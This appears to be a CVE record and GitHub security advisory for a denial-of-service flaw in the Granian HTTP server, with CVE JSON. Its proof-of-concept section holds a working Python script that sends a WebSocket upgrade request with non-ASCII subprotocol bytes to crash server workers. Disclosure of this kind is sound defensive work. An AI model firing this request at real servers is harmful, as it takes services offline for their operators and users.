Granian is a Rust HTTP server for Python applications. From 1.2.0 to 2.7.4, Granian aborts a worker process when an unauthenticated client sends a WebSocket upgrade request whose Sec-WebSocket-Protocol header contains non-ASCII bytes. The crash happens in Granian's WebSocket scope construction path, before the ASGI application is invoked. This vulnerability is fixed in 2.7.4.
Granian: Unauthenticated DoS via WebSocket subprotocol header panic
Problem type
- CWE-20: Improper Input Validation
- CWE-248: Uncaught Exception
- CWE-400: Uncontrolled Resource Consumption
Affected products
emmett-framework
>= 1.2.0, < 2.7.4 - AFFECTED
References
GitHub Security Advisories
GHSA-vrg7-482j-p6f6
Granian vulnerable to unauthenticated DoS via WebSocket subprotocol header panic
https://github.com/advisories/GHSA-vrg7-482j-p6f6Summary
Granian aborts a worker process when an unauthenticated client sends a WebSocket upgrade request whose Sec-WebSocket-Protocol header contains non-ASCII bytes.
The crash happens in Granian's WebSocket scope construction path, before the ASGI application is invoked.
This is a single-request Denial Of Service against one worker. Repeating the request across workers takes the service offline.
Details
HeaderValue::to_str() returns Err for bytes outside visible ASCII. The subsequent .unwrap() panics.
In release builds Granian sets panic = "abort", so this panic terminates the worker instead of being handled as a normal request error.
PoC
Step 1.
starts a Granian ASGI server
# app.py
async def app(scope, receive, send):
if scope["type"] == "websocket":
await receive()
await send({"type": "websocket.accept"})
return
await send({"type": "http.response.start", "status": 200, "headers": []})
await send({"type": "http.response.body", "body": b"ok"})
granian --interface asgi app:app --host 127.0.0.1 --port 8000
Step 2.
sending a raw upgrade request with Sec-WebSocket-Protocol: \x80\xff reached this code path and caused the worker to abort.
# ws-subproto-crash.py
import base64, os, socket, sys
host, port, path = sys.argv[1], int(sys.argv[2]), sys.argv[3]
key = base64.b64encode(os.urandom(16)).decode()
req = (
f"GET {path} HTTP/1.1\r\nHost: {host}:{port}\r\n"
"Upgrade: websocket\r\nConnection: Upgrade\r\n"
f"Sec-WebSocket-Key: {key}\r\nSec-WebSocket-Version: 13\r\n"
).encode() + b"Sec-WebSocket-Protocol: \x80\xff\r\n\r\n"
with socket.create_connection((host, port), timeout=5) as s:
s.sendall(req)
print(s.recv(4096))
python ws-subproto-crash.py 127.0.0.1 8000 /
Observed server output:
thread '<unnamed>' panicked at src/asgi/utils.rs:125:44:
called `Result::unwrap()` on an `Err` value: ToStrError { _priv: () }
[ERROR] Unexpected exit from worker-1
[INFO] Shutting down granian
Impact
- Unauthenticated remote denial of service
- One crafted request kills one worker
- The application is never reached, so application-level authentication or routing does not mitigate the issue
JSON source
https://cveawg.mitre.org/api/cve/CVE-2026-42544Click to expand
{
"dataType": "CVE_RECORD",
"dataVersion": "5.2",
"cveMetadata": {
"cveId": "CVE-2026-42544",
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"dateUpdated": "2026-05-12T21:46:19.734Z",
"dateReserved": "2026-04-28T16:56:50.191Z",
"datePublished": "2026-05-12T21:46:19.734Z",
"state": "PUBLISHED"
},
"containers": {
"cna": {
"providerMetadata": {
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M",
"dateUpdated": "2026-05-12T21:46:19.734Z"
},
"title": "Granian: Unauthenticated DoS via WebSocket subprotocol header panic",
"descriptions": [
{
"lang": "en",
"value": "Granian is a Rust HTTP server for Python applications. From 1.2.0 to 2.7.4, Granian aborts a worker process when an unauthenticated client sends a WebSocket upgrade request whose Sec-WebSocket-Protocol header contains non-ASCII bytes. The crash happens in Granian's WebSocket scope construction path, before the ASGI application is invoked. This vulnerability is fixed in 2.7.4."
}
],
"affected": [
{
"vendor": "emmett-framework",
"product": "granian",
"versions": [
{
"version": ">= 1.2.0, < 2.7.4",
"status": "affected"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"lang": "en",
"description": "CWE-20: Improper Input Validation",
"cweId": "CWE-20",
"type": "CWE"
}
]
},
{
"descriptions": [
{
"lang": "en",
"description": "CWE-248: Uncaught Exception",
"cweId": "CWE-248",
"type": "CWE"
}
]
},
{
"descriptions": [
{
"lang": "en",
"description": "CWE-400: Uncontrolled Resource Consumption",
"cweId": "CWE-400",
"type": "CWE"
}
]
}
],
"references": [
{
"url": "https://github.com/emmett-framework/granian/security/advisories/GHSA-vrg7-482j-p6f6",
"name": "https://github.com/emmett-framework/granian/security/advisories/GHSA-vrg7-482j-p6f6",
"tags": [
"x_refsource_CONFIRM"
]
}
],
"metrics": [
{
"cvssV3_1": {
"version": "3.1",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"attackVector": "NETWORK",
"attackComplexity": "LOW",
"privilegesRequired": "NONE",
"userInteraction": "NONE",
"scope": "UNCHANGED",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH"
}
}
]
}
}
}